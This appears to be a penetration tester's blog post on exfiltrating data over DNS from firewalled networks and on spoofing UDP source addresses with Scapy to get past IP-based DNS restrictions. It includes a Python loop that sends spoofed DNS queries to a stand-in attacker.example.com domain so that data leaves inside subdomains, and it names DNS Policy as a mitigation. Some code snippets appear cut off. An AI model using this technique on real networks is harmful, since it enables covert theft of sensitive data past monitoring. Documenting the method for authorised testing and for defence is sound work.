Spoofing Packets and DNS Exfiltration
Author: HollyGraceful Published: 06 August 2021 Last Updated: 03 July 2023
Following a successful penetration test, you may have large amounts of data to exfiltrate from an environment specifically hardened to make it difficult to exfiltrate data. For example, the network might have a firewall that explicitly blocks common exfiltration methods – such as SSH, HTTPS, HTTP.
It is common that you can still exfiltrate data from these networks by using DNS. For example you could make a request to a domain name that you control where the subdomain contains some information to be exfiltrated. Such as sensitive-data-here.attacker.example.com. DNS is a recursive system, such that if you send this request to a local DNS server, it will forward it on and on until it reaches the authoritative server. If you control the authoritative server, you can simply read the sensitive data from the DNS logs.
I’ve actually talked about using this technique previously, in the context of exploiting blind SQL injection vulnerabilities by way of DNS.
The difference here being that instead of trying to extract information from an application that doesn’t return the data within the interface, here we’re effectively trying to “bypass” or “avoid” strict firewall filters to extract information from an internal network.
For example, if you gained access to the card data environment (CDE) of a customer’s network and wanted to show that we could exfiltrate data en masse, in a way that their network filtering would allow and their monitoring would miss. You could likely exfiltrated the data over DNS. Since it’s very common for internal DNS to simply forward these requests on and eventually it will be passed out of the network to an internet connected DNS server.
In cases where this is usually possible, the customer explains that they require internet-connected DNS within the CDE to allow for the CDE servers to find Microsoft updates, Anti-malware updates, that kind of thing. They often explain that they require DNS as opposed to simply approving, or hard-coding, IP addresses as the IP address might change and they would therefore be left without updates.
Therefore, one way to mitigate this risk would be to allow DNS look ups to only approved hostnames. This can be done using DNS Policy, and Microsoft describes how here: https://docs.microsoft.com/en-us/windows-server/networking/dns/deploy/apply-filters-on-dns-queries
However a customer might decide on the alternative approach of restricting DNS lookups to only approved internal IP addresses. For example restricting lookups to only the internal server used for distributing updates. Believing that this greatly reduces the risk of data exfiltration over DNS by requiring the attacker compromise the update server to be able to exfiltrate data. This isn’t necessarily correct.
If you have used a firewall, or access control list, to restrict these requests it may still be possible for an attacker to make requests even if they are not on the approved server – this is because DNS requests can be sent over UDP and therefore the source IP address can be spoofed.
If you’re in an internal network and you need to spoof DNS traffic, you can do that with the packet manipulation tool Scapy (https://scapy.net/). If you don’t know which IP addresses would be approved for DNS requests but you know the IP addresses that are in the internal networks range you could write a script to send DNS requests with each potential IP address in the range and then check the DNS server logs for which requests for through.
First of all though, here’s a simple Scapy payload that allows you to spoof the source address of a UDP frame:
That payload can be supplied to Scapy from the menu, or alternatively if you would like to execute it from a python script and you have the Scapy python packed installed you can use the following:
from scapy.sendrecv import *
This would allow you to automate making modifications to the spoofed address, for example you could try all IP addresses within a /24 subnet:
from scapy.all import *
for i in range(1,255):
sr1(IP(dst="10.1.1.2",src="10.1.1." + str(i))/UDP()/DNS(rd=1,qd=DNSQR(qname="working-subnet-" + str(i) + ".attacker.example.com")), timeout=1)
If you replace the above with the DNS name for a server that you control, you can look through the logs to determine which spoofed IP address worked for exfiltrating traffic (if any) and then you can use that address as the spoofed source address and replace the “working-subnet” above with data to be exfiltrated!